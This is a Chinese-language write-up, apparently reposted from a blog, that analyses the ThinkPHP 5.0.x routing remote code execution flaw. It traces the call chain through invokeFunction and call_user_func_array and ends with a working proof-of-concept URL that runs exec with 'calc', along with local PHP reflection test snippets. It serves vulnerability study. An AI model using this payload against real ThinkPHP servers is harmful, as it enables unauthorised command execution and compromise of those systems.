本次我們繼續(xù)以漏洞挖掘者的視角,來分析thinkphp的RCE
敏感函數(shù)發(fā)現(xiàn)
在調(diào)用入口函數(shù):/ThinkPHP_full_v5.0.22/public/index.php 時(shí)
發(fā)現(xiàn)了框架底層調(diào)用了\thinkphp\library\think\App.php的app類中的incokeMethod方法
?注意傳遞的參數(shù),ReflectionMethod接受的參數(shù)。如果是數(shù)組的形式, 那么參數(shù)1是這個(gè)類的object,參數(shù)2是object的方法。如此就可以調(diào)用到index類的index方法
?下面是整個(gè)調(diào)用鏈
那么現(xiàn)在思考incokeMethod方法接受的參數(shù)是否為為一個(gè)可控變量呢,如果可控是不是就意味著我們可以執(zhí)行任意類中的任意funtion了。這里我們還不能直接調(diào)用system,exec這些函數(shù),因?yàn)樗鼈儾粚儆谌魏晤?,它是一個(gè)全局函數(shù)。嘗試找一下類中的敏感函數(shù)
敏感函數(shù)調(diào)用
恰好的是,就在app類中存在一個(gè)敏感的函數(shù)invokeFunction
下面給出一個(gè)ReflectionFunction的反射示例
function sum($a, $b) {
return $a + $b;
}
class Example {
public static function bindParams($reflect, $vars) {
$args = [];
foreach ($reflect->getParameters() as $param) {
$name = $param->getName();
if (isset($vars[$name])) {
$args[] = $vars[$name];
} else {
$args[] = $param->getDefaultValue();
}
}
return $args;
}
public static function executeFunction($function, $vars) {
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 記錄執(zhí)行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
}
$vars = array(
'a' => 5,
'b' => 10,
);
$result = Example::executeFunction('sum', $vars);
echo $result; // 輸出 15
在這個(gè)示例中ReflectionFunction函數(shù)沒有牽扯到類,sum是一個(gè)全局函數(shù)。如此我們現(xiàn)在可以嘗試反射條用system函數(shù)了,
下面是經(jīng)過我測試的反射調(diào)用exec,它可以彈出計(jì)算機(jī)
<?php
$reflection = new ReflectionFunction('exec');
echo $reflection->getName() . "\n"; // 輸出函數(shù)名
$params = $reflection->getParameters();
foreach ($params as $param) {
echo "-----"."參數(shù):" . $param->getName() . "\n";
}
$args = [calc];
$result = $reflection->invokeArgs($args);
//echo "結(jié)果:" . $result . "\n";
?>
按照這個(gè)思路,我就在invokeFunction中讓參數(shù)$function='exec' 讓參數(shù)$vars = [calc],就可以執(zhí)行命令了,不過在此之前看看它的bindParams邏輯
敏感函數(shù)繞過
?跟進(jìn)getParameters 繼續(xù)看調(diào)用邏輯
?看到這里原有的設(shè)定就遇到了問題,因?yàn)檫@個(gè)參數(shù)綁定會遍歷函數(shù)的參數(shù)名,像我們之前想調(diào)用的exec函數(shù),其函數(shù)原型為
exec(string $command, array &$output = null, int &$return_var = null): string|false
?$reflect->getParameters() as $param 一定會依次得到command? - output -? return_var
如還想調(diào)用exec,那參數(shù)vars 必須寫上如下形式
$reflection = new ReflectionFunction('exec');
$vars = [calc,null,null];
$result = $reflection->invokeArgs($vars);
以上本地測試還行,php正確接解析了null 然而在web中我們傳遞的參數(shù)大多為字符串,除非后端單獨(dú)處理,否則我們想傳遞一個(gè)null類型的參數(shù),幾乎是不可能的,只能換其他的調(diào)用函數(shù)了,要執(zhí)行系統(tǒng)命令,還要避開參數(shù)null這樣的類型。system函數(shù)就不行有null類型
有沒有我們需要的這嚴(yán)的函數(shù)呢 !還真有一個(gè),它就是call_user_func_array函數(shù)
它的原型為
call_user_func_array(callable $callback, array $param_arr): mixed
?再次本地測試
<?php
$reflection = new ReflectionFunction('call_user_func_array');
$vars = [exec,[calc]];
var_dump($vars);
$result = $reflection->invokeArgs($vars);
?>
如此我用參數(shù)綁定的機(jī)制把exec 綁定在參數(shù)callback 把[calc]綁定在param_arr,通過$reflection->invokeArgs我們成功調(diào)用了calc (反射類似調(diào)用了call_user_func_array('exe',[calc])),null的問題得到完美解決。
回顧一下rce成立的條件
invokeMethod調(diào)用invokeFunction?
invokeFunction調(diào)用call_user_func_array
call_user_func_array調(diào)用exec
代碼大致長這樣樣子
invokeMethod([對象,方法],參數(shù)1)
--------這里的對象對象要app類對象方法是invokeFunction?
-------參數(shù)1為一個(gè)數(shù)組[call_user_func_array,參數(shù)2]
這樣就可調(diào)用call_user_func_array,我們將參數(shù)設(shè)置為[exec,[calc]] 就可以執(zhí)行任意命令了。
接下來把重點(diǎn)放到參數(shù)可控上,如果我們使參數(shù)可控那么RCE漏洞就成立了?
參數(shù)可控分析
首先看調(diào)用了invokeMethod的地方
該段代碼位于app類的module方法中,
看一看call是怎么來的
$call是一個(gè)數(shù)組符合我們的預(yù)期,我們要把這個(gè)instance換成app對象,action換成invokeFunction。
繼續(xù)向上分析?instance怎么得來的
?繼續(xù)分析controller怎么得到的
?這個(gè)result參數(shù)參數(shù)得來的,那就讓result為一個(gè)數(shù)組? 讓其$result[1]=app類路徑。
?如此參數(shù)$call的instance就解決了,接下來看action
?全局搜索action_suffix發(fā)現(xiàn)這個(gè)值為空,不影響action,繼續(xù)分析actionName
actionName的是result數(shù)組索引2獲取的,那好在傳遞module函數(shù)參數(shù)時(shí),讓result為一個(gè)數(shù)組? 讓其$result[2]=invokeFunction
如此$call的問題全部解決,看看剩下的$vars
這里放上找vars是空的啊,不要著急。既然vars向上找沒有找到,那么在想向下仔細(xì)找找,是不是在調(diào)用的過程中被賦值。
向下走到invokeMethod方法中
bindParams對vars進(jìn)行了處理?跟進(jìn)去看看
全局搜索url_param_type,發(fā)現(xiàn)它為0 ,也就說我們會走到param方法,執(zhí)行完畢后更新vars值
之后返回給變量$args。
進(jìn)入param中
request對象中的param成員,存儲的是我們get參數(shù)的內(nèi)容param可以寫成我們構(gòu)造的[call_user_func_array,參數(shù)2],它之后被返回了
在input方法中他會過濾一些值
之后返回data這個(gè)數(shù)組
?
?好!現(xiàn)在根據(jù)我們的猜想get傳參function=call_user_func_array&vars[0]=exec&vars[1][]=calc
就可以上讓request對象的param成員存儲[call_user_func_array,參數(shù)2] 參數(shù)2是[exec,[calc]]
由此在調(diào)用invokeFunction之前$args就準(zhǔn)備好了。?$vars的問題解決了
現(xiàn)在目光繼續(xù)放在module 這個(gè)函數(shù),根據(jù)之前分析的讓result為一個(gè)數(shù)組? 讓其$result[1]=app類路徑。讓其$result[2]=invokeFunction
繼續(xù)向上分析,exec會根據(jù)dispatch的type不同而調(diào)用module函數(shù)
傳參是dispatch的module重點(diǎn)關(guān)注它
一樣的思路,在app類的run方法中最后會執(zhí)行exec方法
執(zhí)行exec方法之前,它會初始dispatch 這個(gè)對象
?我們跟進(jìn)routecheck方法,重點(diǎn)關(guān)注成員module
result為我們準(zhǔn)備返回值,request->path將url中?s= 之后的內(nèi)容取了出來
這里注解提示了我們路由訪問的規(guī)則,可以參考下,
這里depr="/"后面的controller_auto_search 是false
進(jìn)入parseurl分析,在parseurl 最后的返回中出現(xiàn)了module成員 這正是我們想要的
重點(diǎn)分析route是怎么出來的
其實(shí)這里我們就可以根據(jù)手冊說明
嘗試把controller修改為我們的app類地址,action設(shè)置為?invokeFunction,module可以設(shè)置成index,如果沒有達(dá)到預(yù)期可以在調(diào)試
那么app的類地址是什么呢, 如下寫成think\app即可
下面就是調(diào)試版
跟如parseurlpath方法?
?這里的返回值是準(zhǔn)備好的以“/”切分的數(shù)組,之后分別賦給module controller action
如此參數(shù)的確可控,RCE漏洞所有條件成立。poc打出,成彈出計(jì)算機(jī)。
本次漏洞研究結(jié)束
賦值poc文章來源:http://www.zghlxwxcb.cn/news/detail-818849.html
127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=calc文章來源地址http://www.zghlxwxcb.cn/news/detail-818849.html
到了這里,關(guān)于ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!